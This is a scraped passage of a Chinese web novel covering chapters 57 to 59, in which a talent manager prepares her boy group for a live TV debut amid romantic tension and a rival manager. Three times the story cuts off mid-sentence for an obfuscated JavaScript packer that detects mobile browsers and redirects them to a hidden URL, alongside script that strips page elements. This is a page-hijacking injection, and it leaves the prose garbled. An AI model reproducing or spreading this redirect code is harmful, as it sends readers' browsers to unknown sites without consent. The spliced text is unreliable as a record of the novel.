难到在一起十年八年也未必看得清楚,简单到仅是一面,几句话,就可以确定这个人的心思是否干净。 她们都是被种种传闻缠身的人,说好说坏,夸张或是惋惜,永远有人猜测她们每个眼神笑容里暗藏的意思,而这么反差的两个人,今天却意外地跳过媒体对对方的介绍,转而用自己的感觉来认识对面的人。 赵莉莉相信自己的直觉。 “你真的能让我演到很多不同的角色吗,而不是胸大无脑的女性,被欺凌羞辱的女性,永远在性感标签下面的女性吗?” 宫欢怔了怔,而后嘴角勾起,笑得灿烂又自信:“当然,我保证。” 赵莉莉也柔柔地笑开:“保证我听得太多了,算不了数,我要白纸黑字的证明。” 宫欢足足愣了好几秒,才反应过来。 这是,答应签约了!!?? 57. 引诱(宫x奚) 驱车回电视台的路上,宫欢一路都是咧着嘴傻乐。 她和赵莉莉留了联系方式,等赵莉莉手上这部戏拍完,就可以谈签约的事情了。 现在又多了一张王牌,开车的过程中,宫欢脑中对于赵莉莉的事业规划有了雏形。 将赵莉莉的那些乱七八糟标签全撕掉,主攻时尚圈的那些名品高奢代言,这些都需要一点点花心思去塑造,赵莉莉要经常有曝光度,多走走红毯。 时间久了关注度自然就上去了,宫欢也就有办法去给她找好资源好影视本子。 宫欢想的很好,把甘惊鸿捧成新晋小花,关清英捧成老派的专攻正剧的青衣,赵莉莉则冲时尚圈,男团三个人占据粉丝经济,一切在宫欢的预想中都非常完美。 时间就算再紧,两年也绝对能走上正轨,第三年多炒作营销一下,20亿那不就轻轻松松手到擒来了吗? 越想,宫欢就越舒心。 回程开得慢,到电视台已是傍晚。 宫欢停稳了车,坐在车内朝外四处张望了一阵,默默从包里拿出口罩、墨镜、鸭舌帽戴上,然后偷偷摸摸地下了车。 缩着身体,猫悄地溜进了演播大楼。 宫欢很谨慎,拉踩路透的事让她非常怕被郑羽逮住揍一顿,这会儿她身边没人,怎么小心怎么来。 在璀璨娱乐的时候,宫欢做出一些营销手段后,郑羽经常像是要和她对着干似的,也紧跟着炒出热点和重磅新闻,压下宫欢手下艺人的风头。 虽然影响不大,但很烦。 这次都过去一天一夜了,郑羽那边居然没一点儿动静,搞得宫欢心里总有点不安。 不会在憋什么大的吧? 宫欢悄悄地走到2号演播厅外,TXT男团没有加时间训练,人早就离开了。 她又绕回1号演播厅,在侧门外面偷偷往里看——想知道他们几个有没有因为她不在就懈怠工作! 站在侧门外面,只能勉强看见高而宽的舞台,宫欢掂了掂脚仰起头,才勉强看见坐在舞台后面喝水休息的安声和萧子重——没了。 还有一个人呢? 啪—— 肩膀被人拍了一下,宫欢猝不及防地被吓得蹦了一下,转过身时背靠在墙上缩着身体,看清面前的人后,因惊吓而停不下来的心跳噗通噗通地还在闹。 是奚亭云。 他眼睛下方的皮肤有些暗沉,不但不难看,反而使眼睛像是有层雾蒙蒙的阴影,眸色幽深,看着就很吸引人,不由自主地被他眼睛吸引过去。 “欢欢,躲在这里做什么?”奚亭云问。 宫欢眨了眨眼,回过神,突然摸了摸自己的口罩和墨镜,震惊:“你怎么认出来我的!?我都裹这么严实了。” 奚亭云眼眸微弯,脸上自然带着笑意:“感觉是你,就认到了。” 宫欢扯掉墨镜口罩,往里看了眼:“他们都有好好训练吗,没有偷偷溜出去玩吧。” 奚亭云摇头:“没有,马上就要真正初演了,我们都很用心。” “那就好,”说着宫欢看向他缠着纱布的手臂,关切地问,“换药了吗?” “换——没有,”奚亭云将到嘴边的话绕了回去,“还没换。” 宫欢皱眉:“你要好好保养身体,不管哪个部位都要像对脸一样,万一留疤怎么办?” 奚亭云默默垂头,认真听训,然后突然蹦出一句:“我自己下不了手,有点怕疼......” 宫欢微微挑眉,哦~,是想让别人帮他上药啊。 她露出懂得,明白的那种小表情,笑着抬手拍拍他好着的那只手臂,理解地点头说:“——我让小张来帮你上药。” 说着她转身就想溜走,被奚亭云叫住:“欢欢。” 别叫了别叫了哥。 宫欢当即就想哭出来,止住脚步转过来又是一脸正常:“怎么了,还有什么事?” 她完全,完全不知道他什么意思,她脑子里全是事业,一点男色都盛不下。 奚亭云垂着眼,又露出惯用的可怜神色,眼睫长长的遮住了眸色,他说:“你等我一下。” 接着他转过身去,在缠着纱布的受伤部位用力摁揉了两下,直到血渗透了纱布,才转回来,将手臂伸到宫欢面前,理直气壮又脆弱可怜地说:“我的手臂流血了,需要换药,欢欢帮我一下好吗?” ? 不是,现在已经演都不演了吗? 宫欢瞳孔放大紧盯着他,脑子里的事业跑的一干二净,全剩下对奚亭云的敬佩——有这个狠劲他做什么都会成功的! 为了上位攀上她简直不择手段! 他简直无所不用其极! 他简直! ——算了! “给我过来!”宫欢咬牙切齿地转头走进休息室。 奚亭云抿着嘴角,一步一步地跟着她进了休息室,笔直乖顺地坐在沙发上,一只手扶着手臂,看着像风一吹就会倒似的。 昨晚宫欢买的那袋药物放在化妆台上,宫欢拿了过来,又拖了个休息椅放在沙发对面。 她认命似的说:“自己解开。” 奚亭云顿了顿,吞咽着唾液,手指缓慢地解开纱布,一圈圈的拆了下来,沾血的纱布被丢在一边,他将手臂往前伸,主动送进宫欢的手中。 宫欢将药摆在桌上,抽了几张抽纸沾去那些血。手臂上的伤口看着好了一些,下半部分的伤痕里因为刚才的摁压而崩裂,看着就疼。 她有些发恼地瞪他一眼:“你下次再这么干,我就不管你的死活了。” “我错了。”奚亭云秒认错,嘴角却抑制不住地上翘,一点都看不出认错的态度。 除此之外,他耳根渐渐地红了。 随着宫欢用棉签擦拭上药的触碰,血液上涌,从耳朵红到脸上,又蔓延至脖颈,以至于奚亭云都要微微启唇呼吸,试图压下那些过度反应。 他没,没猜错,欢欢知道他在做什么,想要什么,不但没有推开他、远离他,反而纵容他的明目张胆。 他是特殊的,不同的。 越想,奚亭云就越乱。 宫欢擦完药丢掉棉签,抬头看人时被他红透的脸吓到,手背碰了碰他的脸:“你不会也发烧了吧?” 奚亭云被她微凉的手背激得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宫欢有点纳闷,难道情绪没到位,她正准备酝酿一下,门外传来小张的声音:“欢姐在吗?我们要开始检查设备了,您这会儿有时间吗?” “我在我在!”宫欢回道,她抽身起来,神清气爽毫无异样,看了眼还躺在沙发上失神的奚亭云,说:“你等下自己缠纱布,我先去忙了。” 说着便去打开了休息室的门,体贴地关好,和小张一块聊着天走远了。 ...... 奚亭云抬起手搭在额头上,晕眩感不断袭来,猛烈得让他许久回不过神,他不断吞咽着唾液,润泽干哑的喉咙,喉结在薄薄的白皙皮肤下来回滚动,漂亮而诱人。 过了片刻,他鼻腔里溢出一声闷闷地笑。 笑自己没出息,只是靠近就像是...... 总是控制不住,他没办法让自己神色自若地面对宫欢,每一个眼神触碰,肢体接触,于他而言都像是一点一点加了剂量的药,不断叠加,最后...... 没出息就没出息吧。 只要是宫欢就好。 她默许他拙劣的引诱,没有排斥或是推远他,甚至是呵斥他,对奚亭云来说,这已经是莫大的恩赐了。 是你允许的。 58. 准备前夕 传统的电视节目多是录播,通过后期剪辑和修饰后播出。 而【敢说敢言】的节目风格非常独特,采用直播的形式对外开播,是国内断层级综艺。 主打一个真实,如它的名字一样,网友实时评论,有时主持人还会根据弹幕提出的问题来对嘉宾提问,非常考验临场反应。 有些过往的节目都经常会被翻出来,常看常新,当然也有些艺人会出现翻车名场面,引起极大的关注度。 距离开播不到24小时,节目组人员都在认真检查脚本内容,排查机器设备的安全隐患。 宫欢跟着小张简单地检查了一些升降舞台,音质音准等等的问题,以前她很少插手这些事,但是这回对手是郑羽,万事都要防备着点。 基本没问题,宫欢心放回了肚子里,又去检查了一下舞台道具,认真细致地一一确认了后,才跟小张点头,小张便去向导演上报了。 舞台上,萧子重双手撑在身后吊儿郎当地坐着,看见宫欢回来,有些急切地爬起来走到宫欢旁边:“你前天火急火燎地去哪儿了,我们哥几个都不管了。” “小甘那边有点事,我去解决了一下。”宫欢提了一嘴。 准备等奚亭云来了跟他们说一下节目开播后的注意事项,没想到萧子重反应极大,焦急的声音都大了不少:“她那边怎么了,高姐不是在吗,出了什么事连你都要过去,剧组的事儿吗?” 连珠炮弹似的问题砸过来,宫欢被问得头大:“你问题怎么那么多啊,就是一些新人被欺负的那些事,不过我去了一趟已经解决了。” “她被欺负了!?”萧子重更大声,脸上神情急躁不安,“谁针对的她,我怎么什么都不知道,你为什么不告诉我——我打电话问问她。”说着就拿出手机要打电话过去。 宫欢和安声两脸懵逼,担心朋友是好的,但是这也太担心了吧。 宫欢默默插话:“......你有听到我说解决了吗?” 萧子重将手机贴在了耳边,一手叉腰,在两人中间来回走动,脑子里乱糟糟地全是脑补出甘惊鸿被人打骂的画面: “确定解决了?万一你一走剧组的人更变本加厉地欺负一个新人演员怎么办,还有那两个主演,看着人模狗样的没一个好人,会不会有人等你走了就报复她,还有,她有没有受伤?伤得重吗?有没有住院!?” 宫欢根本说不上话,萧子重自己就能把自己给绕晕。 手机那边响了两声铃,接通的那一秒,传来甘惊鸿清脆地一声“前辈”时,萧子重突然清醒过来,慌乱且手忙脚乱地挂断了电话。 ——他在做什么!? 听见甘惊鸿被人欺负的消息,他马上就方寸大乱,急得恨不能马上知道她现在怎么样了。 有没有受伤,会不会哭了,越想越心焦,连自己在做什么都不知道。 舞台下来来往往的工作人员,有些嘈杂,舞台上三人安静如鸡。 萧子重抬起头,对面是宫欢疑惑懵逼的脸,旁边是安声满脸问号的脸,两人就那么直直看着他。 “咳咳,”萧子重轻咳一声,尴尬地举着手机晃了晃,掩饰着说,“前辈就是要对晚辈多照顾一点。” “那你为什么挂电话了?”安声问,还想补一句:是因为不好意思光明正大的照顾晚辈吗? “对啊。”宫欢点头附和道。 萧子重沉默片刻,自己也说不清楚原因。 “我,你不是说解决了吗,”萧子重绕回话题,“那,那就应该没事了。” 宫欢整张脸皱成包子,感觉一天天的,身边这群人的心思真是弯弯绕绕,屁事儿一堆。 萧子重挂断了电话后,手机接连响起几声消息提示音。 他不敢当着两个人的面看,佯装不在意地把手机放进口袋里,等安声去喝水,宫欢转头时——急忙把手机拿出来,摁亮屏幕看页面消息。 甘惊鸿:【前辈,你怎么挂断电话了?】 甘惊鸿:【是有什么急事吗?】 萧子重偷偷看了两人一眼,又将手机放回口袋,准备找借口去趟洗手间。 宫欢看见奚亭云从侧门进来,脸色比起刚才红润不少,她转过身来:“正好,奚亭云过来了,节目马上开播,我跟你们说一下要注意的事项。” 萧子重只得咽下想好的借口,浑身不适地站着,手插进裤袋里攥着手机,手指哒哒哒地敲着。 三人集合,宫欢先把小张发给她的座位表和入场证发给安声,说:“我帮你要到了前排座位,位置很好,到时候你的粉丝拍照什么的也都方便,要是能出神图就更好了。” “真的吗!”安声惊喜地问,嘴很甜,“谢谢欢姐~” “不用谢~” 宫欢朝人弯弯嘴角,笑容明媚漂亮,接着脸一变画风一转,她背着手,板着脸,严肃训话: “我花重金买了摄影师,这几天随时跟拍你们,等节目一播完,就慢慢对外放出照片。” “从明天开始到上节目,你们必须随时随地保持最佳状态,背都挺直了,五官表情也不准乱飞,但凡听到一丁点儿的快门声,都要给我表情管理到位!” 安声非常配合:“没问题欢姐!” 奚亭云应声:“好。” 萧子重等得急:“知道了知道了,都念一百遍了。” 宫欢:“一旦有镜头带到你们,必须必须都要给我记住,保持你们的体态,表情,动作,每一根头发丝都要给我闪光!” 安声:“没问题欢姐!” 萧子重:“你为什么不干脆一步到位找个闪光灯做艺人。” 奚亭云:“我尽力。” 宫欢:“尤其是表情和眼睛,给我看空气都要放电,要多情,要桀骜,要充满激情活力!!” 安声:“我会的欢姐!我一定让所有人都被我耀眼到!” 萧子重:“哦对,你已经有闪光灯了。” 奚亭云:“我会努力的。” 这么长时间的准备,宫欢非常看重这次的水花,反复叮嘱了许多遍,将近一个小时,才放三人去继续训练。 萧子重一得空就往演播厅外跑,一眨眼就没影了。 宫欢迷惑不已,总觉得萧子重是不是在背着她接私活。 她转回头,撞上奚亭云明目张胆地注视,后背窜上一股紧张感。 哪有心思去想那么多,这还有个难对付的。 - 休息室。 萧子重关紧了门,双手捧着手机,紧盯着屏幕上的两句话。 心里早就急得不耐烦了,刚才宫欢絮絮叨叨那么久,他心思全都飘了,满心满眼都在想——到底出了什么事。 剧组欺凌小演员这种事他之前见过不少,甘惊鸿在剧组会不会一直在受委屈,却自己忍着。 刚才那通电话打出去时,他脑子里全是她隐忍的样子,可真听到对面的声音,又像是冲动烫到了理智,骤然清醒。 匆匆挂了电话。 面对安声的那句话,萧子重也不知道自己是什么心理。 就是,疼惜一下晚辈,不是很正常的事情吗? 他是所有人里面最懂演戏的人,多关照一下她,再正常不过了吧。 想了几条理由后,萧子重稳下心来回复她: 【宫欢说你被人欺负了,怎么回事?】 【你有没有受伤?事情有没有解决?】 【......下次,其实可以,先跟我说。】 【就是,因为宫欢她不懂演戏,而且脾气不好,她过去可能会影响你的人缘,对你不好,你是新人,有很多不懂的地方问我,问别人都可以,要多跟别人打交道。】 【当然!我不是说你被欺负了也要忍着,千万不要忍,谁欺负你了就告诉我!】 【或者告诉宫欢,反正,不要委屈自己。】 【我就是问问。】 【没别的。】 萧子重的拇指戳在屏幕上,不断往上滑,往下滑,看之前和甘惊鸿的聊天记录,又看她有没有回消息。 盯了一会儿聊天界面,发觉自己发的消息太多了,于是紧急撤回了几条,只留下了前三条消息。 大概5分钟左右,甘惊鸿回复:【已经没事了,其实也不是很大的事情,还麻烦欢姐来帮我,大家对我都挺好的,就是主演可能不太喜欢我,我才不在意呢】 甘惊鸿:【我没受伤,一切都好,演好自己的角色就好啦,谢谢前辈关心】 萧子重感觉她略过了很多细节没说,但也不好多问:【那就好,你有困扰的地方及时问我,我一定帮你想办法。】 甘惊鸿那边没有回复,大概是在拍戏,隔了一会儿才回:【下次有麻烦可以先和前辈说吗?】 眼睛里映出消息里的每个字,萧子重盯着这条消息,感觉所有情绪都被这句话所牵引:【当然。】 【最好都先告诉我。】 【毕竟,那个,我很专业。】 ......萧子重实在不知道该怎么聊天,把话题无限地延长下去。 她会怎么想? 等待消息的每一分一秒里面,萧子重都在反复揣测她的想法,就像揣测人物角色一样,分析甘惊鸿回复消息的字面含义,隐藏的言下之意。 他的回复相比起来怎么样? 会显得很奇怪很冒犯吗?会显得他好为人师吗?会显得他很不礼貌吗? 怕回复的消息太严肃太强势,萧子重点开图片表情,随便找了个可爱的卡通小猫表情包发了过去,以中和一下聊天的氛围。 甘惊鸿又是隔了五分钟回:【不好意思啊前辈,我在搬石头】 萧子重:【是在搬道具吗?为什么要你搬石头?】 甘惊鸿:【哦哦,这就和我想问的问题有关系】 萧子重:【什么?】 甘惊鸿:【您知道,除了和静物对戏,还能怎么自己完成对戏内容吗?】 萧子重:“......” 虽然不太明白甘惊鸿为什么要这么问,他还是提出了解决办法:【有一种办法,但是比较消耗脑力。】 【你闭上眼睛,构建出你需要的场景,时间,天气和任务,然后刻画出每个人的长相,投入心神进去,想象出你所饰演的角色,然后抽离出来。】 【想象你是一架摄影机,可以通过不同的角度拍摄你所构建出的一切,按照你的剧本开始让人物动起来,想象那个人物会有什么反应,也许最终成果和真实的人不太一样,但是至少能给你一些思路。】 这一串消息发出的十分钟后,萧子重收到了两条消息。 一条来自甘惊鸿:【谢谢前辈!我今天晚上睡觉的时候试试,感觉会很有用!】 一条来自宫欢:【一分钟之内再不回来训练,你就等死吧。】 - 距离节目开播还有5小时。 演播大楼进进出出的人员极多,个个都带着工作证准备下午的开播。大楼外一辆辆商务车开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126349|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,从中走出邀约嘉宾,蹲点的娱记们不请自来,早早就守在了附近。 节目组人员要去迎接嘉宾,引导他们去各自的休息室。 参与节目的嘉宾有5人,两场中场节目的男团有工作人员对接安排出场顺序。 时间紧迫倒退着。 因为是直播模式,场景有时来不及切换,节目组导演提前决定开放3个演播厅,好在切播时更为方便,1号厅做为【敢说敢言】的背景布置,2号厅则是第一场中场节目,奚亭云三人的场地,3号厅则就是TXT男团。 宫欢知道消息后更为放心,这下郑羽应该就没办法在他们的设备上做小动作了,这几天宫欢一直没看见他们,心里多少有些没底。 休息室,三人穿上了演出服,正在化妆。 早就制作好的高定套装终于被三人穿上,宫欢一一欣赏着,为了符合科幻电子风格,外套均是采用了透明布料,衣料褶皱间在灯光下反射出炫彩的光,极为耀眼。 内搭则是简单的白背心,和较为紧身的纯白西裤,除此外,三人的配饰也各不同,宫欢在这方面非常上心。 奚亭云偏禁欲系,他的一条腿上束着腿环,妆容偏淡,主要在眼妆下料,透出一个眼神深邃,发型采用挑染几缕蓝色和白色,符合舞蹈主题。 安声虽然外表呆萌,但舞台风格强势,他内搭的白背心下半部分偏网状的镂空特色,一条白色的锁链从腰上缠绕几圈到右腿膝盖处,锁链是特制道具,很轻,不会影响跳舞的过程。 安声的发型颜色更为大胆,也是为了突出他主C的地位,染成了全银发。 萧子重之前扮过小丑,五官可见立体度,宫欢特意让化妆师给他怎么狂野怎么来,高光粉随便打。 他的白背心被宫欢用剪刀把领口的位置剪到了腹部,服饰上尽量简单粗暴,五官妆容的部分多用力,头发没有染色,全部后梳即可。 化妆镜前,萧子重拎起自己胸前那点可怜的布料,嫌弃道:“为什么我的衣服布料跟你们的差那么多,感觉不像是特意做的,这还有线头呢!” 宫欢装作喝水没听见。 安声仰着头配合化妆师贴亮片,手摸着腹部说:“应该就是设计,我的衣服也有一半空空的,肚子好凉。” 萧子重看了眼奚亭云:“我们三个里面就老奚的最正常,啧,我们不能换衣服吗宫欢?” 宫欢眼皮都没抬:“想都不要想。” 奚亭云打圆场:“其实都差不多,你们的衣服风格更鲜明。” 休息室的门被人推开,小张带来了三个耳返设备,宫欢接过来道了声谢。 拿着耳返设备,宫欢绕到三人身后,亲自上手一一给他们佩戴起来,主要设备卡在腰后,线从衣服后面穿过,最后戴在耳朵上。 她一边操作,一边念叨:“耳返里面除了伴奏,还会传出你们的声音,好让你们更能听到自己唱的地方有没有出错,舞台上面的噪音很大,有观众席上面的声音,还有节目组下面的杂音,你们一定要戴好耳返,掉了就用舞蹈动作掩饰一下再戴回去。” 宫欢说详细细节时,和平时张扬明媚的性格反差很大,侧面看着有些温柔,侧脸线条清丽漂亮。 直到她把耳返随手塞进萧子重耳朵里两次都掉出来,眉头一皱,张嘴就骂:“啧,你什么耳朵啊这都戴不进去!割了吧!” 这些本该由高姐和助理来做,宫欢以前基本没动过手,都是躺在一边看,现在自己来了发现还真是麻烦。 萧子重躲开她的手,自己戴起来,边戴边反驳:“这是耳返的问题,关我耳朵什么事。” 宫欢白他一眼,来到奚亭云身后。 他主动站起身,配合宫欢将设备卡在后腰处。 他身体体温很高,宫欢的手隔着一层背心布料都能触到微热的温度,她捋开耳返的连接线,从他衣服后面往上穿,直到耳边。 宫欢本想撒手让他也跟萧子重一样自己戴上的。 结果奚亭云非常配合地弯了弯身子,侧过脸将耳朵凑到宫欢面前,显然是想让她帮忙。 宫欢只好手指捏着耳返贴着他耳边轻轻塞进去,很快的过程,没几秒,但那耳根处慢慢地就红了起来,温度攀升。 宫欢收手时,奚亭云比她还要快地坐了回去。 垂着头像是不敢看她。 宫欢:“?”有那么怕她吗? 待所有妆造都完成后,一行人走出休息室准备去演播厅候场。 迎面撞上对门出来的郑羽和TXT男团一行人,两拨人在走廊里撞了个正着。 郑羽看见宫欢,虚伪地笑了一声,阴阳怪气:“哎呀,真是不巧啊,这路就这么宽,只能我们先走咯。” 宫欢不搭茬,她看了看陈闪闪等人的妆造——极尽浮夸的风格,一点审美都没有,像是什么值钱就往身上套什么。 她顿时挺直了腰,高扬起头,身后三张脸给她涨足了面子:“没事,我们一起走,毕竟你们也占不了多少面积。” 这是内涵他们个矮! 陈闪闪一下就火了,指着宫欢就想骂。 宫欢身后,奚亭云下意识往前半步,想将她挡在身后。 同一时间,宫欢和郑羽都伸出手拦下了两人,两位针锋相对的经纪人看着对方,眼里或是骄傲不屑,或是嫉恨。 “宫欢,希望你能一直保持乐观。”郑羽冷着脸一字一句地说。 “会的,我一向要什么就有什么。”宫欢笑着反唇相讥。 59. 初舞台 演播厅内,观众席上坐满了人,灯光随着音乐节奏投下闪烁的光束。 舞台上的场景用的多是橙黄色,偏暖色调,5位嘉宾坐在一侧的沙发上,2位主持人则坐在另一边。 助理和工作人员在台上跟各位嘉宾们重复脚本流程,避免等下提到一些问题时尴尬冷场。 参加节目的嘉宾们心里多少有数,纷纷都绷紧了脑中那根弦,以好应对等下可能突如其来的提问。 有些年轻艺人甚至拿着一张小纸条,上面写了不少玩笑和梗,准备创出经典名场面。 一切准备就绪,台下的牛导在耳麦里说:“各部门倒计时准备——三,二......” 随着倒数,舞台上瞬间清场,只留下了两位主持人,倒计时数到一的那刻,直播平台打开,在视频网站开启了直播通道,七八台摄像机全开,听着牛导的指令切换机位。 舞台上的主持人笑着面向亮灯的摄像机说出开场白:“我敢问你敢答,内幕大爆炸,欢迎来到今晚的【敢说敢言】!” 得到风声的粉丝们一早就蹲在了节目组直播间,在开播的10分钟内迅速涌入,5位嘉宾里面有年轻的新晋流量明星,有备受争议的一线艺人,还有近期绯闻不断的明星。 节目组发出宣传海报时就惹来不少争议。虽然都知道【敢说敢言】一向不走寻常路,不过这期节目确实很勇,有些节目粉丝直言:这期节目怕是新一轮舆论战场,又能给大众带来不少茶余饭后的谈资。 直播界面被节目组反向投屏在舞台对面的超清大屏上,方便所有人能看清,以及时做出反应。 主持人说完开场白后,一一向观众介绍邀约嘉宾们,直到5位嘉宾全部上台,众人坐在沙发上,开始了今晚的节目内容。 简单热场后,主持人主打一个随机,并没有按照座位顺序cue人,而是选了最近风头正盛的陈丰,内涵的点他:“最近桃花最好的还数我们的陈丰老师了吧~,网上流传的那张餐厅喂饭图真是好甜蜜哦。” 其他几位嘉宾们配合地互相笑。 陈丰是圈内知名影视剧演员,年龄40+,曾饰演过各大影视剧里位高权重的角色,外貌保养得极好,是偏儒雅风趣、文质彬彬的风格。 此时陈丰被人调侃也只是微微笑着,有些无奈地说:“只是和朋友正常吃饭。” “喔喔,正常吃饭,”主持人调侃着,做出喂食的动作,另一位主持人默契配合着张嘴,两人现场重现那张喂饭图,玩梗道,“来我喂你哦,你一口我一口~我们平时也是这么吃饭的哦~” 舞台对面的高清大屏上出现一连串哈哈哈哈哈的评论: 【哈哈哈哈哈小鱼真是太会内涵了。】 【这说的是不是前段时间陈丰和赵莉莉餐厅私会那事啊!?】 【女方真是赵莉莉那边吗?不是一直都没回应吗?】 【不回应就是默认啦,还说什么。】 【哇喔,所以陈丰这么儒雅老干部的人,居然喜欢赵莉莉那样美艳型的啊。】 【有一说一,赵莉莉就是好看啊,喜欢不正常?】 【好看是好看,就是感觉有点艳俗,不太上档次,有点配不上陈丰】 【啊啊啊啊啊陈老师笑起来眼角的褶子都性感迷人死了!】 【陈老师帅啊啊啊啊,老男人最迷人了!】 众人时刻关注着直播间弹幕,陈丰也不例外,他保持着不否认也不承认的态度。 主持人继续追问:“陈老师这些年为大荧幕奉献了不少经典角色,从您的专业角度来分析,赵莉莉是什么类型的演员呢,您对她有没有什么关于演戏方面的建议,可以在这里隔空喊话哦。” 没让现场连线算是比较好的了,陈丰抬手掩了下唇,略作思考,而后温和地笑着说:“我觉得她的戏路比较宽,可以多尝试反派角色之类的,比较有鲜明特点的人物去饰演,会比她现在的......更好一些。” 陈丰微秒的停顿了一下,众人心知肚明他说的意思——就是说现在赵莉莉饰演的角色多是一些普通边缘性的一些角色,没有深度。 嘉宾之间互相眼神交流,直播间弹幕里面还没琢磨出来言下之意,大多都在夸陈丰: 【哇啊啊丰哥好认真的在说啊,肯定是做过功课的,太专业的回答了。】 【看得出来陈丰对赵莉莉真的很上心,果然爱一个人就是要替她的未来着想。】 【他们真的在谈吧!!看陈老师一直都在笑!】 【俊男美女就要锁死!】 宫欢从演播厅侧门进来时,一下就听见了陈丰的话,嘉宾们都带着耳麦,声音占据了大半个演播厅。 赵莉莉和陈丰有关系? 和男团不同,宫欢对甘惊鸿和关清英她们的恋爱情况没有过多严格要求,因为她们看起来都比较有主见,知道自己想要什么,目标清晰,所以宫欢就没有在合同里强制要求。 关于赵莉莉,则是她经常绯闻缠身,宫欢也不确定她是不是在谈恋爱,这点她还没来得及问。 不过就算有在恋爱问题也不大,她们演员就应该谈,谈了才能体会情绪,对角色的理解程度更深。 只是吧。 宫欢听着陈丰的那句话默默皱眉,总觉得很装。她又看向高清大屏上的弹幕评论。 在节目上说几句话就叫上心了? 在镜头前表演就算真爱了? 在人群面前承认喜欢那就是爱了? 爱是这么轻飘飘的东西吗? 他要是真的对赵莉莉上心,就应该提供实质性的帮助,为什么不帮她多推荐一下好资源? 因为这么一句略带停顿的话,宫欢一下就对陈丰这人带了些不喜的感觉。 用她的话来说,那就是:上嘴皮子碰下嘴皮子的事儿,她来她也行。 宫欢悄悄过来盯了会现场,时不时看着时间,第一场中场休息的时间在20:30,她得牢牢盯着时间。 奚亭云等人准备就绪,在等待候场,切播画面的时候好能第一时间顺畅连接上。 舞台上主持人一个个cue流程,在20:30的时候,刚好结束了一个话题点。 摄影机镜头切到了主持人的正面,主持人流畅地念出四五家品牌广告词,接着说道: “好的,现在请大家稍作休息片刻,下面是我们的中场节目,请导播将舞台切换到X男团现场!” “——X男团是国内的新晋男团,这场是他们的初舞台,为我们带来的是他们独创的——【电子蝴蝶】,大家敬请观看。” 导播在耳麦里及时跟2号厅的摄影师沟通:“准备就绪,现在镜头切过去了。” 宫欢见马上切画面了,加快脚步往回跑——推开2号厅的门时,镜头刚好切过来,台下的人朝台上三人比了个OK的手势。 面向五大主流视频平台的【敢说敢言】,镜头瞬间从主持人的笑脸切换到了充满银白色的科幻舞台风格,画面切换的较快,弹幕评论一下空了不少。 偏暗的舞台上只能隐约看见有三个白色人影,随着接连两声的鼓点,光束骤然打下来几道—— 观众席一片疑惑,这灯光没有照出三人的站位,反而照着三人前方的地面,让人误以为是不是舞台失误了。 紧接着就见三人猛然松懈下来定场的机械动作,齐齐迈着长腿,洒脱自然地走到了灯光下,随着节奏鼓点再次强劲敲响的那刻,三人如同精密的仪器舞动,每个动作都有力而精准,倒真像三个机器人了。 冷白顶光从上打下,三人的眉眼若隐若现,脸上表情冷酷,非常符合舞蹈主题。 更多的光束一道道打下来,将三人照亮,站位是以安声主C,奚亭云右侧,萧子重左侧来排的,舞蹈的节奏有轮换C位的部分,每切换一次副歌部分都会换一次C位。 三人的面容全部暴露后,直播间弹幕刷刷增多,夸主C的尤其多: 【哇啊啊啊啊什么男团,从没听说过啊,这么帅吗!?】 【好酷啊啊未来科幻风!主C的银发也太帅了吧!】 【主C叫什么,安声?没听过啊。】 【这不屑的眼神,太爱了!就喜欢这种我得不到的!】 【这是TXT男团吗?这么帅的啊?】 【楼上瞎啊,这男团跟TXT差远了好吧,TXT还没出来呢!】 【什么野鸡男团,居然是第一轮中场舞台。】 3D投影的银色蝴蝶在舞台上来回飞舞,穿行在三人肢体动作间,别看他们表情冷淡动作迅速,其实一个个的心里都在打鼓。 三人的眼睛跟着导播镜头前的红灯提醒,神经紧绷着,同时还要注意脚下的舞台升降,节奏副歌的C位切换。 一轮副歌很快过去,C位该轮到奚亭云了,几人在一段旋转落地的动作时,互相交换眼神,切下一个舞蹈动作时,迅速丝滑地切换成了奚亭云。 C位转换后,有一个定点pose,这个动作是脱离出舞蹈的风格外的个人人设的风格pose,是宫欢设计的,三人都不同。 轮到奚亭云时,他两腿微开,手指抵在唇边,眼眸微眯,透出迷离的神色。接着微微抬头,手指顺着唇往下滑,滑过下颌,喉结,顺着锁骨直往腹部。 大概是面对镜头总有些生涩放不开,做这些动作时奚亭云眉头微皱,眼神飘忽,却反而使他的禁欲外表更为诱人。 直播间弹幕里一连串的哇哇叫: 【啊啊啊卧槽卧槽这什么仙品!!我先吃为敬!】 【啊啊啊啊阿这是我能看的吗?这什么地方,我在哪?】 【斯哈斯哈,我喜欢科幻风!】 【你喜欢的是科幻风吗?楼上我都不想点破你。】 观众席上也发出此起彼伏地感叹激动声,宫欢站在台下擦了擦口水,她就说自己的眼光没错。 几段舞蹈动作过去后,C位换到了萧子重,刚才就不少人注意到他—— 他穿衣风格狂放不羁,舞蹈动作不像另外两人收敛有力,反而是一种外放的风格。 他动作的性张力极强,内搭的背心从胸口开到了腹部,腹肌虽然只露出了两块,可因为衣服太紧身,剩下的几块腹肌被束紧,薄薄的布料上微微凸起些肌肉轮廓。 明明是机械舞与爵士舞的结合,萧子重跳起来却更偏轻松洒脱的风格,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 